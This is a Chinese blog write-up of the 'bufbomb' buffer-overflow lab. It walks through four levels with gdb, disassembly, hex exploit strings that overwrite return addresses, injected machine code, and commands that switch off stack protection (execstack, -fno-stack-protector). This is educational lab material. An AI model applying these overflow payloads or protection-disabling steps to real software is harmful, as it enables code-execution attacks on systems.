轉載請註明出處:https://www.cnblogs.com/ustca/p/11735120.htmlhtml
逆向工程【緩衝區溢出攻擊】拓展:二進制炸彈反彙編
任務描述
掌握函數調用時的棧幀結構,利用輸入緩衝區的溢出漏洞,將攻擊代碼嵌入當前程序的棧幀中,使程序執行咱們所指望的過程。sass
主要方法
溢出的字符將覆蓋棧幀上的數據,會覆蓋程序調用的返回地址,這賦予了咱們控制程序流程的能力。經過構造溢出字符串,程序將「返回」至咱們想要的代碼上。 實驗包括三個可執行文件: ---| bufbomb爲目標程序 ---| makecookie能夠生成bufbomb須要的輸入參數的cookie(也能夠在gdb調試時直接讀取寄存器得到) ---| sendstring能夠將ASCII碼轉成字符(實驗用到了拓展ASCII碼)cookie
程序運行時棧幀結構
Level0:Somke
getbuf函數在test中被調用,當getbuf返回時繼續執行第八行:函數
void test() { int val; volatile int local = 0xdeadbeef; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { ...... } }
Bufbomb中一個正常狀況下不會被執行的函數:工具
void smoke() { entry_check(0); /* Make sure entered this function properly */ printf("Smoke!: You called smoke()\n"); validate(0); exit(0); }
攻擊目標
在getbuf返回時跳到smoke函數執行。測試
思路
一、經過gdb調試獲得咱們輸入的字符串首地址<kbd>p/x $ebp-0xc</kbd> 二、找到函數smoke的地址<kbd>p/x &smoke</kbd> 三、用smoke函數的地址覆蓋getbuf的返回地址this
操做
首先對可執行程序進行反彙編<kbd>objdump -d bufbomb > bufbomb.s</kbd> 反彙編獲得的彙編碼中,找到getbuf的代碼段,能夠看到緩衝區首地址爲<kbd>-0xc(%ebp),%eax</kbd> 打開gdb調試,在Gets函數執行前設置斷點<kbd>b *0x8048fec</kbd> 運行程序,輸入測試字符: 獲得緩衝區首地址爲<kbd>0xffffb16c</kbd> 獲得smoke函數入口地址<kbd>0x8048e20</kbd>編碼
接下來只須要構造攻擊字符串,使得字符串溢出部分覆蓋返回地址,達到「返回」到smoke函數的目的。url
根據程序運行時的棧幀結構,能夠獲得返回地址存儲在ebp寄存器的後4字節,輸入緩衝區大小爲0xc+4,最終獲得攻擊字符串長度應該爲0xc+4+4=20字節。 只要輸入字符串的最後4字節爲smoke函數入口地址便可跳轉,前16字節數據能夠爲任意值,小端模式下攻擊字符串以下: <kbd>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08</kbd> 將字符串保存到exploit1.txt文件中,使用<kbd>./sendstring <exploit1.txt> exploit1_raw.txt</kbd>將ASCII碼轉爲實際字符。 執行程序測試運行結果<kbd>./bufbomb -t USTCSA < exploit1_raw.txt</kbd> spa
Level1:Fizz
另外一函數
void fizz(int val) { entry_check(1); /* Make sure entered this function properly */ if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0); }
攻擊目標
「返回」到該函數並傳送參數cookie
操做
原理與smoke相同,觀察棧幀結構能夠發現只須要在smoke攻擊字串後面再繼續覆蓋調用棧幀的參數。 fizz入口地址爲0x8048dc0. 與smoke相同,ebp+4爲棧幀返回地址。
執行完ret指令後棧頂指針 %esp 會自動增長4以還原棧幀。
在fizz彙編代碼段,cmp指令是將存放cookie的變量與%ebp+0x8處的值相比,此時參數地址也就是舊的ebp+4+8。
cookie值經過<kbd>./makecookie USTCSA</kbd>得到。
經過以上分析能夠獲得,fizz攻擊的字符串與smoke相比,只須要將ebp之上4個字節的地址覆蓋,而後再往上8字節填入cookie參數。
除了fizz的入口地址與cookie參數,其他字節均可以用任意值填充,獲得一下攻擊字符串。 <kbd>00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 c1 5f d3 11</kbd> 再使用sendstring得到新的攻擊字符,執行程序測試運行結果
Level2:Bang
第三個函數
int global_value = 0; void bang(int val) { entry_check(2); /* Make sure entered this function properly */ if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else { printf("Misfire: global_value = 0x%x\n", global_value); exit(0); } }
攻擊目標
構造若干條指令,修改全局變量global_val,而後跳轉到bang函數 (須要execstack工具解除棧執行限制)
操做
與smoke和fizz不一樣的是,這裏不在是簡單的纂改返回地址。由於涉及到修改全局變量,因此須要注入咱們本身的代碼,而後將返回地址篡改到攻擊代碼處執行,最後ret到bang函數。
經過前兩個實驗的分析,已經得知輸入緩衝區最大有16字節的空間,而咱們注入的代碼正好只須要16字節空間。
如下是咱們想要添加執行的彙編碼:
movl $0x11d35fc1, 0x804a1dc push $0x8048d60 ret
movl指令將咱們的cookie(11d35fc1)傳遞到0x804a1dc(cmp指令對比時的全局變量取值) push指令將bang函數的入口地址壓棧 ret指令返回咱們最後壓入的bang函數入口,實現跳轉的效果 將咱們本身寫的彙編碼保存,經過gcc將彙編碼編譯成機器碼 <kbd>gcc -m32 -c bang.s</kbd>得到bang.o 再將機器碼讀取 <kbd>objdump -d bang.o</kbd>
bang.o: file format elf32-i386 Disassembly of section .text: 00000000 <.text>: 0: c7 05 dc a1 04 08 c1 movl $0x11d35fc1,0x804a1dc 7: 5f d3 11 a: 68 60 8d 04 08 push $0x8048d60 f: c3 ret
<kbd>c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 </kbd> 得到咱們本身想要操做的指令機器碼。
只須要在這段字串後再加上緩衝區的首地址,用來覆蓋原返回地址,可得到最後的攻擊字符串: <kbd>c7 05 dc a1 04 08 c1 5f d3 11 68 60 8d 04 08 c3 6c b1 ff ff</kbd>
使用sendstring得到新的攻擊字符,執行程序測試運行結果 提示運行失敗。。。。。。。。。 一直覺得是本身哪裏寫錯了,折騰了一下午
出現段錯誤是由於Linux系統默認開啓了棧保護機制,用於阻止緩衝區溢出攻擊🙂🙂🙂
解決方法: 安裝execstack <kbd>sudo apt-get install execstack</kbd> 修改程序堆棧的可執行屬性 <kbd>execstack -s bufbomb</kbd>
如果擁有bufbomb的源代碼,也能夠在編譯時關閉保護機制從新編譯 <kbd>gcc -g -z execstack -fno-stack-protector bufbomb.c -o bufbomb</kbd>
再次測試運行結果 另外,修改堆棧可執行屬性只能在gdb調試下有效,實際運行仍然會出現段錯誤。完全解決的方法是找到源代碼之後從新編譯。還有一點,屢次實驗時可能會出現緩衝區首地址改變的狀況。
Level3:Test
第四個函數
void test() { int val; volatile int local = 0xdeadbeef; entry_check(3); /* Make sure entered this function properly */ val = getbuf(); /* Check for corrupted stack */ if (local != 0xdeadbeef) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("Boom!: getbuf returned 0x%x\n", val); validate(3); } else { printf("Dud: getbuf returned 0x%x\n", val); } }
攻擊目標
函數正常返回時執行 第15行,咱們要讓函數執行第12行
操做
與bang不一樣的是,本任務中咱們但願getbuf() 結束後回到test()本來的位置,並將cookie做爲getbuf()的返回值傳給test()。過程當中須要將ebp復原,使程序不會由於外部攻擊而出錯崩潰,保證退出攻擊後棧空間還原。
操做流程: 獲取舊的ebp值 寫須要插入執行的彙編碼——用指令設置返回值,並返回getbuf下一行執行 利用溢出覆蓋修改ebp
gdb調試獲取ebp: 編寫彙編碼:
movl $0x11d35fc1, %eax push $0x0804901e ret
轉爲機器碼:
00000000 <.text>: 0: b8 c1 5f d3 11 mov $0x11d35fc1,%eax 5: 68 1e 90 04 08 push $0x804901e a: c3 ret
<kbd>b8 c1 5f d3 11 68 1e 90 04 08 c3</kbd>
最後再修改ebp得到攻擊字符串: <kbd>b8 c1 5f d3 11 68 1e 90 04 08 c3 00 98 b1 ff ff 6c b1 ff ff</kbd>
測試運行結果
原文出處:https://www.cnblogs.com/ustca/p/11735120.html